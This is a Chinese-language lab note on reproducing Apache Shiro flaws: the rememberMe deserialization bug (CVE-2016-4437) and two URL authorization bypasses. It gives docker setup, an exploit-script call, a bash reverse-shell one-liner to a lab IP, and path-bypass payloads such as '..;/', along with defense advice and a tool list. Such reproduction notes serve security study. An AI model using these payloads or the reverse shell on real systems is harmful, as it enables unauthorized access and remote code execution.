Shiro框架漏洞复现笔记
字数 1528
更新时间 2025-08-14 05:24:22

Apache Shiro框架漏洞复现与利用指南

1. Shiro框架简介

Apache Shiro是一个Java安全框架,提供身份验证、授权、密码和会话管理功能。其核心功能包括:

  • 认证(Authentication):验证用户身份
  • 授权(Authorization):控制用户访问权限
  • 会话管理(Session Management):管理用户会话
  • 密码学(Cryptography):提供加密功能

2. Shiro反序列化漏洞(CVE-2016-4437)

漏洞原理

Apache Shiro默认使用CookieRememberMeManager处理"记住我"功能,其处理流程为:

  1. 获取rememberMe的cookie值
  2. Base64解码
  3. AES解密
  4. 反序列化

漏洞成因:

  • 早期版本使用硬编码AES加密密钥
  • 即使新版本允许自定义密钥,但开发者可能使用公开密钥未修改

漏洞指纹识别

识别特征:

  • 返回包中存在set-Cookie:rememberMe=deleteMe
  • URL中包含shiro字样
  • 有时服务器不会主动返回rememberMe=deleteMe,需要直接发包测试

复现环境搭建

使用vulhub环境:

docker pull medicean/vulapps:s_shiro_1
docker run -d -p 8888:8080 -p 7777:6666 medicean/vulapps:s_shiro_1

漏洞利用步骤

  1. 使用shiro_attack工具寻找密钥(勾选相关选项)
  2. 利用获取的密钥进行命令执行

Linux不出网环境利用:

python3 shiro-1.2.4_rce.py http://192.168.109.9:8888/login.jsp

反弹shell命令:

bash -i >& /dev/tcp/192.168.109.9/8889 0>&1

3. Shiro权限绕过漏洞(CVE-2020-11989)

漏洞原理

Shiro通过拦截器控制访问权限:

  • anon:匿名拦截器,无需登录
  • authc:登录拦截器,需要登录

漏洞成因:

  • Shiro的URL路径表达式为Ant格式
  • *通配符匹配零个或多个字符串,但无法匹配路径分隔符/
  • Spring中/hello/hello/访问相同资源,导致权限绕过

影响版本

Apache Shiro < 1.5.2

复现环境搭建

docker pull vulfocus/shiro-cve_2020_1957
docker run -d -p 8080:8080 -v /var/run/docker.sock:/var/run/docker.sock -e VUL_IP=192.168.109.9 29136b1d3c61

漏洞验证

  1. 访问/hello/1:被authc拦截器拦截,跳转到登录
  2. 访问/hello/1/:绕过authc拦截器

Payload示例:

/dwdww;/../hello/1
xxxx/..;/hello/1

4. Shiro认证绕过漏洞(CVE-2020-1957)

漏洞原理

在使用Spring动态控制器时,攻击者通过构造..;跳转可以绕过Shiro的目录权限限制。

影响版本

Apache Shiro < 1.5.3

复现方法

与CVE-2020-11989类似

5. 相关漏洞对比(CVE-2020-11989 vs CVE-2020-13933)

漏洞编号 针对路由类型 Shiro获取地址 Spring获取地址 结果
CVE-2020-11989 固定路由(/admin/page) / /admin/page 未授权访问
CVE-2020-13933 动态路由(/admin/{name}) /admin/ /admin/;page 404错误

6. 防御建议

  1. 升级到最新版本Apache Shiro
  2. 自定义AES加密密钥,避免使用公开密钥
  3. 严格检查URL路径匹配规则
  4. 实施最小权限原则
  5. 禁用不必要的功能(如rememberMe)

7. 工具推荐

  1. shiro_attack:用于检测和利用Shiro反序列化漏洞
  2. ysoserial:生成反序列化payload
  3. Burp Suite:用于手动测试和验证漏洞

8. 参考链接

相似文章
相似文章
 全屏